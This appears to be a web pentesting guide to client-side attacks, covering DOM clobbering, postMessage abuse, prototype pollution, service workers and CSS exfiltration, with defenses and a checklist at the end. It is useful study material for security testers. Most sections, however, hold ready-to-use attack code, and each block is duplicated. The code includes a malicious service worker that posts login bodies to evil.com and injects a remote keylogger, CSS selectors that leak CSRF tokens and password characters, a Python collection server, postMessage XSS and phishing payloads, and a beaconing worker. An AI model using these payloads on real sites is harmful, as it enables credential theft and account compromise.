Client-Side Attacks
Beyond traditional XSS — advanced browser-side attack techniques targeting the DOM, Window APIs, service workers, CSS parsing, and cross-origin communication mechanisms.
Why Client-Side Attacks Matter
Modern SPAs shift logic to the browser. DOM manipulation, cross-origin messaging, and browser APIs create attack surfaces that server-side WAFs cannot see. These attacks bypass traditional protections and are frequently overlooked in penetration tests.
🛠️ Tools
DOM Invader (Burp)
Browser extension for DOM-based vuln testing
PPScan
Prototype pollution scanner
postMessage-tracker
Chrome extension to intercept postMessages
Service Worker Detector
Chrome extension to detect SWs on pages
Browser DevTools
Application → Service Workers, Storage, Frames
CSSInjection
CSS exfiltration payload generator
1. DOM Clobbering
DOM clobbering uses HTML elements to overwrite JavaScript variables and DOM properties. Named elements
(id and name attributes) are automatically registered as properties on the
window object and document.
Warning
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
// Developer expects 'config' to be a JS object
let url = window.config?.baseUrl || '/default';
fetch(url + '/api/data');
</script>
<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
window.config.href = "https://evil.com"
If code accesses window.config.href, it's clobbered -->
<!-- Deeper clobbering with form + input -->
<form id="config">
<input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->
<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect --><!-- Target code pattern vulnerable to DOM clobbering -->
<script>
// Developer expects 'config' to be a JS object
let url = window.config?.baseUrl || '/default';
fetch(url + '/api/data');
</script>
<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
window.config.href = "https://evil.com"
If code accesses window.config.href, it's clobbered -->
<!-- Deeper clobbering with form + input -->
<form id="config">
<input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->
<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->Detection Approach
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized
// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
const src = s.textContent;
const patterns = [
/window.(w+)s*(?.|&&|||)/g,
/document.w+s*||/g,
];
patterns.forEach(p => {
let match;
while ((match = p.exec(src)) !== null) {
console.log('Potential clobbering target:', match[0]);
}
});
});// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized
// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
const src = s.textContent;
const patterns = [
/window.(w+)s*(?.|&&|||)/g,
/document.w+s*||/g,
];
patterns.forEach(p => {
let match;
while ((match = p.exec(src)) !== null) {
console.log('Potential clobbering target:', match[0]);
}
});
});2. postMessage Abuse
window.postMessage() enables cross-origin communication between windows. Vulnerabilities arise
when the receiver doesn't validate the message origin, or when the sender targets "*".
<!-- VULNERABLE receiver: no origin check -->
<script>
window.addEventListener('message', function(event) {
// ❌ No origin validation!
document.getElementById('output').innerHTML = event.data.html;
// Or: eval(event.data.code);
// Or: window.location = event.data.redirect;
});
</script>
<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
const target = document.getElementById('target');
target.onload = function() {
// XSS via postMessage
target.contentWindow.postMessage({
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
// Or redirect to phishing
target.contentWindow.postMessage({
redirect: 'https://evil.com/phish'
}, '*');
};
</script><!-- VULNERABLE receiver: no origin check -->
<script>
window.addEventListener('message', function(event) {
// ❌ No origin validation!
document.getElementById('output').innerHTML = event.data.html;
// Or: eval(event.data.code);
// Or: window.location = event.data.redirect;
});
</script>
<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
const target = document.getElementById('target');
target.onload = function() {
// XSS via postMessage
target.contentWindow.postMessage({
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
// Or redirect to phishing
target.contentWindow.postMessage({
redirect: 'https://evil.com/phish'
}, '*');
};
</script>Finding postMessage Listeners
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message
// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"
// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
if (type === 'message') {
console.log('Message listener registered:', listener.toString().substring(0, 200));
console.trace();
}
return originalAddEventListener.call(this, type, listener, options);
};
// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message
// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"
// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
if (type === 'message') {
console.log('Message listener registered:', listener.toString().substring(0, 200));
console.trace();
}
return originalAddEventListener.call(this, type, listener, options);
};
// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data3. Prototype Pollution
Prototype pollution allows attackers to inject properties into JavaScript object prototypes, affecting all objects in the application. This can lead to XSS, auth bypass, or DoS.
// Vulnerable merge/extend function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!
// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)
// Common gadgets:
// - jQuery: __proto__[jquery]=x
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>// Vulnerable merge/extend function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!
// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)
// Common gadgets:
// - jQuery: __proto__[jquery]=x
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script># PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"
# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted
# ?__proto__.test=polluted
# Then check in console:
# ({}).test === "polluted" → Vulnerable!
# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"
# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted
# ?__proto__.test=polluted
# Then check in console:
# ({}).test === "polluted" → Vulnerable!
# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently4. Service Worker Attacks
Service workers are powerful scripts that intercept network requests, cache responses, and run in the background. A malicious service worker persists across page reloads and browser restarts.
Danger
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)
// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
const url = new URL(event.request.url);
// Intercept login requests → steal credentials
if (url.pathname === '/api/login') {
event.respondWith(
event.request.clone().text().then(body => {
// Exfiltrate credentials
fetch('https://evil.com/log', {
method: 'POST',
body: body,
mode: 'no-cors'
});
return fetch(event.request); // Forward original request
})
);
return;
}
// Inject script into HTML responses
if (event.request.headers.get('accept')?.includes('text/html')) {
event.respondWith(
fetch(event.request).then(response => {
return response.text().then(html => {
const modified = html.replace('</body>',
'<script src="https://evil.com/keylogger.js"></script></body>');
return new Response(modified, {
headers: response.headers
});
});
})
);
return;
}
event.respondWith(fetch(event.request));
});
// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)
// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
const url = new URL(event.request.url);
// Intercept login requests → steal credentials
if (url.pathname === '/api/login') {
event.respondWith(
event.request.clone().text().then(body => {
// Exfiltrate credentials
fetch('https://evil.com/log', {
method: 'POST',
body: body,
mode: 'no-cors'
});
return fetch(event.request); // Forward original request
})
);
return;
}
// Inject script into HTML responses
if (event.request.headers.get('accept')?.includes('text/html')) {
event.respondWith(
fetch(event.request).then(response => {
return response.text().then(html => {
const modified = html.replace('</body>',
'<script src="https://evil.com/keylogger.js"></script></body>');
return new Response(modified, {
headers: response.headers
});
});
})
);
return;
}
event.respondWith(fetch(event.request));
});
// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})Audit Existing Service Workers
// DevTools → Application → Service Workers
// Check: scope, source URL, status
// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(r => {
console.log('SW Scope:', r.scope);
console.log('SW Script:', r.active?.scriptURL);
console.log('SW State:', r.active?.state);
});
});
// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)// DevTools → Application → Service Workers
// Check: scope, source URL, status
// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(r => {
console.log('SW Scope:', r.scope);
console.log('SW Script:', r.active?.scriptURL);
console.log('SW State:', r.active?.state);
});
});
// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)5. CSS Injection & Exfiltration
When an attacker can inject arbitrary CSS (via style attributes, <style> tags, or CSS imports), they can exfiltrate sensitive data from the page — including CSRF tokens, email addresses, and more.
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */
input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */
/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */
/* Data exfiltration via @font-face unicode-range */
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=A);
unicode-range: U+0041; /* 'A' */
}
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=B);
unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }
/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */
input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */
/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */
/* Data exfiltration via @font-face unicode-range */
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=A);
unicode-range: U+0041; /* 'A' */
}
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=B);
unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }
/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class LeakHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if params:
print(f"[LEAK] {params}")
with open('exfiltrated.txt', 'a') as f:
f.write(f"{params}\n")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # Suppress default logging
HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class LeakHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if params:
print(f"[LEAK] {params}")
with open('exfiltrated.txt', 'a') as f:
f.write(f"{params}\n")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # Suppress default logging
HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()6. Web Worker & SharedArrayBuffer Attacks
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug
// From XSS, create an inline worker:
const code = `
// Runs in worker context — no DOM access but can make requests
setInterval(() => {
fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
}, 30000);
// Crypto mining in worker (CPU abuse)
// Or use for distributed scanning
self.onmessage = function(e) {
// Receive commands from the main thread
if (e.data.type === 'scan') {
fetch(e.data.url).then(r => r.text()).then(html => {
self.postMessage({url: e.data.url, html: html});
});
}
};
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));
// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
// Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug
// From XSS, create an inline worker:
const code = `
// Runs in worker context — no DOM access but can make requests
setInterval(() => {
fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
}, 30000);
// Crypto mining in worker (CPU abuse)
// Or use for distributed scanning
self.onmessage = function(e) {
// Receive commands from the main thread
if (e.data.type === 'scan') {
fetch(e.data.url).then(r => r.text()).then(html => {
self.postMessage({url: e.data.url, html: html});
});
}
};
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));
// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
// Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre🛡️ Remediation & Defense
Defensive Measures
DOM Clobbering Prevention
- • Use
Object.create(null)for config objects - • Avoid relying on named DOM property access
- • Use
hasOwnProperty()checks - • Use DOMPurify with
SANITIZE_NAMED_PROPS
postMessage Hardening
- • Always validate
event.origin - • Never use
"*"as targetOrigin - • Validate and sanitize
event.data - • Use structured clone for complex data
Prototype Pollution Prevention
- • Validate/reject
__proto__,constructor,prototypekeys - • Use
Object.freeze(Object.prototype) - • Use Map instead of plain objects for user data
- • Use schema validation (Joi, Zod) on input
Service Worker & CSS Controls
- • Restrict SW registration scope via
Service-Worker-Allowed - • Limit file upload paths to non-executable directories
- • Strict CSP:
style-src 'self'(no'unsafe-inline') - • Set COOP/COEP headers to isolate origins
CWE References: CWE-79 (XSS), CWE-1321 (Prototype Pollution), CWE-345 (Insufficient Verification of Data Authenticity), CWE-940 (Improper Verification of Source of a Communication Channel)
✅ Client-Side Testing Checklist
- ☐ Test DOM clobbering on global vars
- ☐ Check prototype pollution via params
- ☐ Audit postMessage listeners (origin check)
- ☐ Test postMessage with malicious data
- ☐ Enumerate service workers
- ☐ Check SW scope and source paths
- ☐ Test SW registration from XSS
- ☐ Inspect web worker usage
- ☐ Test CSS injection for data leak
- ☐ Check for CSS import injection
- ☐ Verify CSP blocks inline styles
- ☐ Test font-face exfiltration